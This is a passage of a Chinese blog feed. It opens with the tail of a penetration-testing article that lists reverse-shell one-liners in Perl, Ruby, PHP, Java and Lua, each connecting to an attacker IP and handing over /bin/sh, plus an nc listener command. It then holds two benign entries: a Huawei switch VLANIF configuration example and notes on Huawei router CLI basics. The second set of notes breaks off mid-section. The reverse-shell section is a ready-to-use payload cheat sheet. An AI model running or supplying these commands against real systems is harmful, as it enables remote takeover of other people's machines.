&lt;p&gt;&lt;strong&gt;2. Perl&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法一：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;perl -e &amp;#x27;use Socket;$i=&amp;quot;x.x.x.x&amp;quot;;$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;&amp;#x2F;bin&amp;#x2F;sh -i&amp;quot;);};&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;方法二：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;perl -MIO -e &amp;#x27;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;x.x.x.x:5555&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. Ruby&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法一：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ruby -rsocket -e &amp;#x27;exit if fork;c=TCPSocket.new(&amp;quot;x.x.x.x&amp;quot;,&amp;quot;5555&amp;quot;);while(cmd=c.gets);IO.popen(cmd,&amp;quot;r&amp;quot;){|io|c.print io.read}end&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;方法二：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ruby -rsocket -e&amp;#x27;f=TCPSocket.open(&amp;quot;x.x.x.x&amp;quot;,5555).to_i;exec sprintf(&amp;quot;&amp;#x2F;bin&amp;#x2F;sh -i &amp;lt;&amp;amp;%d &amp;gt;&amp;amp;%d 2&amp;gt;&amp;amp;%d&amp;quot;,f,f,f)&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4. PHP&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;php -r &amp;#x27;$sock=fsockopen(&amp;quot;x.x.x.x&amp;quot;,5555);exec(&amp;quot;&amp;#x2F;bin&amp;#x2F;bash -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&amp;quot;);&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;5. Java&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    public class Revs {
    &amp;#x2F;**
    * @param args
    * @throws Exception
    *&amp;#x2F;
    public static void main(String[] args) throws Exception {
        &amp;#x2F;&amp;#x2F; TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;,&amp;quot;-c&amp;quot;,&amp;quot;exec 5&amp;lt;&amp;gt;&amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;x.x.x.x&amp;#x2F;5555;cat &amp;lt;&amp;amp;5 | while read line; do $line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done&amp;quot;};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;6. Lua&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;lua -e &amp;quot;require(&amp;#x27;socket&amp;#x27;);require(&amp;#x27;os&amp;#x27;);t=socket.tcp();t:connect(&amp;#x27;x.x.x.x&amp;#x27;,&amp;#x27;5555&amp;#x27;);os.execute(&amp;#x27;&amp;#x2F;bin&amp;#x2F;sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&amp;#x27;);&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注：以上脚本是在目标主机上执行，其中 x.x.x.x 均为攻击者ip，并且需要在攻击者主机上进行监听:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvvp 5555
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;0x05-zong-jie&quot;&gt;0x05. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;上面提到的反弹shell的方法只是一些比较常见的，肯定不够全面，在简单的渗透环境中，上面所提到的应该能满足需求，但是如果是在比较复杂的环境中，还是需要进行一些灵活变通以适应复杂环境的渗透测试，欢迎补充。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>CloudEngine S8700 V600R024C00 配置指南-以太网交换</title>
        <published>2025-01-15T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cloudengine-s8700-v600r024c00-配置指南-以太网交换/"/>
        <id>https://vercel.juzhong.asia/obsidian/cloudengine-s8700-v600r024c00-配置指南-以太网交换/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cloudengine-s8700-v600r024c00-配置指南-以太网交换/">&lt;h1 id=&quot;cloudengine-s8700-v600r024c00-pei-zhi-zhi-nan-yi-tai-wang-jiao-huan&quot;&gt;CloudEngine S8700 V600R024C00 配置指南-以太网交换&lt;&#x2F;h1&gt;
&lt;p&gt;举例：配置VLANIF接口实现不同VLAN间的互通（同设备）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zu-wang-xu-qiu&quot;&gt;组网需求&lt;&#x2F;h2&gt;
&lt;p&gt;如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;support.huawei.com&#x2F;enterprise&#x2F;zh&#x2F;doc&#x2F;EDOC1100411492&#x2F;10f05ac9#fig19632192318597&quot;&gt;图4-16&lt;&#x2F;a&gt;所示，DeviceA下的主机被划分到不同的VLAN中，分别是VLAN2和VLAN3，且位于不同的网段。希望实现VLAN2和VLAN3之间相互通信。&lt;&#x2F;p&gt;
&lt;p&gt;图4-16  配置VLANIF接口实现不同VLAN间的互通组网图（同设备）&lt;&#x2F;p&gt;
&lt;p&gt;本例中interface1、interface2分别代表10GE 1&#x2F;0&#x2F;1、10GE 1&#x2F;0&#x2F;2。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cloudengine-s8700-ethernet&#x2F;vlanif-inter-vlan-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cao-zuo-bu-zou&quot;&gt;操作步骤&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建VLAN，并配置接口加入VLAN。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;HUAWEI&amp;gt; system-view
[HUAWEI] sysname DeviceA
[DeviceA] vlan batch 2 3
[DeviceA] interface 10ge 1&amp;#x2F;0&amp;#x2F;1
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;1] portswitch
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;1] port link-type access
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;1] port default vlan 2
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;1] quit
[DeviceA] interface 10ge 1&amp;#x2F;0&amp;#x2F;2
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;2] portswitch
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;2] port link-type access
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;2] port default vlan 3
[DeviceA-10GE1&amp;#x2F;0&amp;#x2F;2] quit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置VLANIF接口的IP地址。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[DeviceA] interface vlanif 2
[DeviceA-Vlanif2] ip address 10.10.10.2 24
[DeviceA-Vlanif2] quit
[DeviceA] interface vlanif 3
[DeviceA-Vlanif3] ip address 10.10.20.2 24
[DeviceA-Vlanif3] quit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;jian-cha-pei-zhi-jie-guo&quot;&gt;检查配置结果&lt;&#x2F;h2&gt;
&lt;p&gt;在VLAN2中的主机上配置IP地址为10.10.10.1&#x2F;24，缺省网关为接口VLANIF2的IP地址10.10.10.2&#x2F;24，在VLAN3中的主机上配置IP地址为10.10.20.1&#x2F;24，缺省网关为接口VLANIF3的IP地址10.10.20.2&#x2F;24。配置完成后，VLAN2中的主机与VLAN3中的主机能够相互Ping通。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-jiao-ben&quot;&gt;配置脚本&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#
sysname DeviceA
#
vlan batch 2 to 3
#
interface Vlanif2
 ip address 10.10.10.2 255.255.255.0
#
interface Vlanif3
 ip address 10.10.20.2 255.255.255.0
#
interface 10GE1&amp;#x2F;0&amp;#x2F;1
 port link-type access
 port default vlan 2
#
interface 10GE1&amp;#x2F;0&amp;#x2F;2
 port link-type access
 port default vlan 3
#
return
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>笔记：华为路由器的使用方法与CTL终端基本操作</title>
        <published>2025-01-15T00:00:00+00:00</published>
        <updated>2025-01-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/笔记-华为路由器的使用方法与ctl终端基本操作/"/>
        <id>https://vercel.juzhong.asia/obsidian/笔记-华为路由器的使用方法与ctl终端基本操作/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/笔记-华为路由器的使用方法与ctl终端基本操作/">&lt;h1 id=&quot;bi-ji-hua-wei-lu-you-qi-de-shi-yong-fang-fa-yu-ctlzhong-duan-ji-ben-cao-zuo&quot;&gt;笔记：华为路由器的使用方法与CTL终端基本操作&lt;&#x2F;h1&gt;
&lt;p&gt;使用华为路由器的方法与基本操作：&lt;&#x2F;p&gt;
&lt;p&gt;在本文中可能出现下列命令行格式，它们所代表的含义如下。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;格式&lt;&#x2F;th&gt;&lt;th&gt;意义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;粗体&lt;&#x2F;td&gt;&lt;td&gt;命令行关键字（命令中保持不变、必须照输的部分）采用加粗字体表示。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;斜体&lt;&#x2F;td&gt;&lt;td&gt;命令行参数（命令中必须由实际值进行替代的部分）采用斜体表示。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;[ ]&lt;&#x2F;td&gt;&lt;td&gt;表示用“[ ]”括起来的部分在命令配置时是可选的。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;{ x | y | ... }&lt;&#x2F;td&gt;&lt;td&gt;表示从两个或多个选项中选取一个。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;[ x | y | ... ]&lt;&#x2F;td&gt;&lt;td&gt;表示从两个或多个选项中选取一个或者不选。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;{ x | y | ... } *&lt;&#x2F;td&gt;&lt;td&gt;表示从两个或多个选项中选取多个，最少选取一个，最多选取所有选项。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;[ x | y | ... ] *&lt;&#x2F;td&gt;&lt;td&gt;表示从两个或多个选项中选取多个或者不选。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;amp;&amp;lt;1-n&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;表示符号&amp;amp;的参数可以重复1～n次。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;#&lt;&#x2F;td&gt;&lt;td&gt;由“#”开始的行表示为注释行。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;进入命令行图：&lt;&#x2F;p&gt;
&lt;p&gt;常用的命令行视图&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;常用视图名称&lt;&#x2F;th&gt;&lt;th&gt;进入视图&lt;&#x2F;th&gt;&lt;th&gt;视图功能&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;用户视图&lt;&#x2F;td&gt;&lt;td&gt;用户从终端成功登录至设备即进入用户视图，在屏幕上显示：&lt;br &#x2F;&gt;&amp;lt;Huawei&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;在用户视图下，用户可以完成查看运行状态和统计信息等功能。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;系统视图&lt;&#x2F;td&gt;&lt;td&gt;在用户视图下，输入命令system-view后回车，进入系统视图。&lt;br &#x2F;&gt;&amp;lt;Huawei&amp;gt; system-viewEnter system view, return user view with Ctrl+Z.&lt;br &#x2F;&gt;[Huawei]&lt;&#x2F;td&gt;&lt;td&gt;在系统视图下，用户可以配置系统参数以及通过该视图进入其他的功能配置视图。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;接口视图&lt;&#x2F;td&gt;&lt;td&gt;使用interface命令并指定接口类型及接口编号可以进入相应的接口视图。&lt;br &#x2F;&gt;[Huawei] interface gigabitethernet X&#x2F;Y&#x2F;Z&lt;br &#x2F;&gt;[Huawei-GigabitEthernetX&#x2F;Y&#x2F;Z]&lt;br &#x2F;&gt;X&#x2F;Y&#x2F;Z为需要配置的接口的编号，分别对应“槽位号&#x2F;子卡号&#x2F;接口序号”。&lt;br &#x2F;&gt;上述举例中GigabitEthernet接口仅为示意。&lt;&#x2F;td&gt;&lt;td&gt;配置接口参数的视图称为接口视图。在该视图下可以配置接口相关的物理属性、链路层特性及IP地址等重要参数。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;路由协议视图&lt;&#x2F;td&gt;&lt;td&gt;在系统视图下，使用路由协议进程运行命令可以进入到相应的路由协议视图。&lt;br &#x2F;&gt;[Huawei] isis&lt;br &#x2F;&gt;[Huawei-isis-1]&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;退出命令行视图&lt;&#x2F;td&gt;&lt;td&gt;执行quit命令从AA退到A&lt;br &#x2F;&gt;[Huawei] quit&lt;br &#x2F;&gt;&amp;lt;Huawei&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;直接退回到用户视图&lt;&#x2F;td&gt;&lt;td&gt;执行return命令直接退回到用户视图&lt;br &#x2F;&gt;[Huawei-aaa] return&lt;br &#x2F;&gt;&amp;lt;Huawei&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;设置命令级别&lt;&#x2F;p&gt;
&lt;p&gt;|表1 用户级别和命令级别对应关系||||
|用户级别|命令级别|级别名称|说明|
|0|0|参观级|网络诊断工具命令（ping、tracert）、从本设备出发访问外部设备的命令（Telnet客户端）、部分display命令等。|
|1|0、1|监控级|用于系统维护，包括display等命令。&lt;br &#x2F;&gt;说明：&lt;br &#x2F;&gt;并不是所有display命令都是监控级，比如display current-configuration命令和display saved-configuration命令是3级管理级。各命令的级别请参见《Huawei AR系列接入路由器 命令参考》手册。|
|2|0、1、2|配置级|业务配置命令，包括路由、各个网络层次的命令，向用户提供直接网络服务。|
|3～15|0、1、2、3|管理级|用于系统基本运行的命令，对业务提供支撑作用，包括文件系统、FTP、TFTP下载、命令级别设置命令以及用于业务故障诊断的debugging命令等。|&lt;&#x2F;p&gt;
&lt;p&gt;编辑命令行方式操作技巧&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作技巧&lt;&#x2F;th&gt;&lt;th&gt;解释&lt;&#x2F;th&gt;&lt;th&gt;举例&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;不完整关键字输入&lt;&#x2F;td&gt;&lt;td&gt;设备支持不完整关键字输入，即在当前视图下，当输入的字符能够匹配唯一的关键字时，可以不必输入完整的关键字。该功能提供了一种快捷的输入方式，有助于提高操作效率。&lt;&#x2F;td&gt;&lt;td&gt;Ge比如&lt;br &#x2F;&gt;display current-configuration命令，可以输入d cu、di cu或dis cu等都可以执行此命令，但不能输入d c或dis c等，因为以d c、dis c开头的命令不唯一。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Tab键的使用&lt;&#x2F;td&gt;&lt;td&gt;输入不完整的关键字后按下Tab键，系统自动补全关键字&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;命令行在线帮助（help）&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作技巧&lt;&#x2F;th&gt;&lt;th&gt;举例&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;键入”?”来查找命令&lt;&#x2F;td&gt;&lt;td&gt;在任一命令视图下，键入“?”获取该命令视图下所有的命令及其简单描述&lt;br &#x2F;&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-cli-help.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;键入一条命令的部分关键字，后接以空格分隔的“?”，如果该位置为参数，则列出有关的参数名和参数描述&lt;&#x2F;td&gt;&lt;td&gt;举例如下&lt;br &#x2F;&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-cli-parameter-help.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;td&gt;“INTEGER&amp;lt;1-35791&amp;gt;”是参数取值的说明，“The value of FTP timeout (in minutes)”是对参数作用的简单描述。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;解读错误命令行的信息：&lt;&#x2F;p&gt;
&lt;p&gt;|命令行常见错误信息表||
|英文错误信息|错误原因|
|Error: Unrecognized command found at &#x27;^&#x27; position.|没有查找到命令|
|没有查找到关键字||
|Error: Wrong parameter found at &#x27;^&#x27; position.|参数类型错|
|参数值越界||
|Error:Incomplete command found at &#x27;^&#x27; position.|输入命令不完整|
|Error:Too many parameters found at &#x27;^&#x27; position.|输入参数太多|
|Error:Ambiguous command found at &#x27;^&#x27; position.|输入命令不明确|&lt;&#x2F;p&gt;
&lt;p&gt;使用undo命令行&lt;&#x2F;p&gt;
&lt;p&gt;在命令前加&lt;strong&gt;undo&lt;&#x2F;strong&gt;关键字，即为&lt;strong&gt;undo&lt;&#x2F;strong&gt;命令行。&lt;strong&gt;undo&lt;&#x2F;strong&gt;命令行一般用来恢复缺省情况、禁用某个功能或者删除某项配置。几乎每条配置命令都有对应的&lt;strong&gt;undo&lt;&#x2F;strong&gt;命令行&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;使用undo的方式&lt;&#x2F;th&gt;&lt;th&gt;命令&lt;&#x2F;th&gt;&lt;th&gt;举例&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;使用undo命令行恢复缺省情况&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;Sysname&lt;&#x2F;strong&gt;用来设置主机名&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-sysname-hostname-config.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使用undo命令行禁用某个功能&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;ftp server enable&lt;&#x2F;strong&gt;命令是用来开启设备的FTP服务器功能&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-undo-command-usage.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;使用undo命令行删除某项配置&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;header&lt;&#x2F;strong&gt;命令是用来设置用户登录设备时终端上显示的标题信息&lt;&#x2F;td&gt;&lt;td&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;router-login-header-setting.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;br &#x2F;&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-header-cmd-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;br &#x2F;&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-router-ctl&#x2F;huawei-header-login-banner.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;设置快捷键并使用&lt;&#x2F;p&gt;
&lt;p&gt;用户可以使用设备中的快捷键，完成对命令的快速输入，从而简化操作。&lt;&#x2F;p&gt;
&lt;p&gt;系统中的快捷键分成两类，自定义快捷键和系统快捷键：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;·&lt;&#x2F;strong&gt; 自定义快捷键：共有4个，包括&amp;lt;Ctrl+G&amp;gt;、&amp;lt;Ctrl+L&amp;gt;、&amp;lt;Ctrl+O&amp;gt;和&amp;lt;Ctrl+U&amp;gt;。用户可以根据自己的需要将这4个快捷键与任意命令进行关联，当使用快捷键时，系统自动执行它所对应的命令。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;·&lt;&#x2F;strong&gt; 系统快捷键：是系统中固定的。这种快捷键不由用户定义，代表固定功能。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;快捷键&lt;&#x2F;th&gt;&lt;th&gt;对应命令&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+G&amp;gt;：&lt;&#x2F;td&gt;&lt;td&gt;display current-configuration&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+L&amp;gt;：&lt;&#x2F;td&gt;&lt;td&gt;undo idle-timeout&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+O&amp;gt;：&lt;&#x2F;td&gt;&lt;td&gt;undo debugging all&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;功能键&lt;&#x2F;th&gt;&lt;th&gt;功能&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+A&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;将光标移动到当前行的开头。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+B&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;将光标向左移动一个字符。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+C&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;停止当前正在执行的功能。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+D&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;删除当前光标所在位置的字符。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+E&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;将光标移动到最后一行的末尾。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+F&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;将光标向右移动一个字符。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+H&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;删除光标左侧的一个字符。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+K&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;在连接建立阶段终止呼出的连接。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+N&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;显示历史命令缓冲区中的后一条命令。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+P&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;显示历史命令缓冲区中的前一条命令。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+T&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;输入问号（？）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+W&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;删除光标左侧的一个字符串（字）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+X&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;删除光标左侧所有的字符。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+Y&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;删除光标所在位置及其右侧所有的字符。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+Z&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;返回到用户视图。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Ctrl+]&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;终止呼入的连接或重定向连接。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Esc+B&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;将光标向左移动一个字符串（字）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Esc+D&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;删除光标右侧的一个字符串（字）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&amp;lt;Esc+F&amp;gt;&lt;&#x2F;td&gt;&lt;td&gt;将光标向右移动一个字符串（字）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;批量执行方式&lt;&#x2F;p&gt;
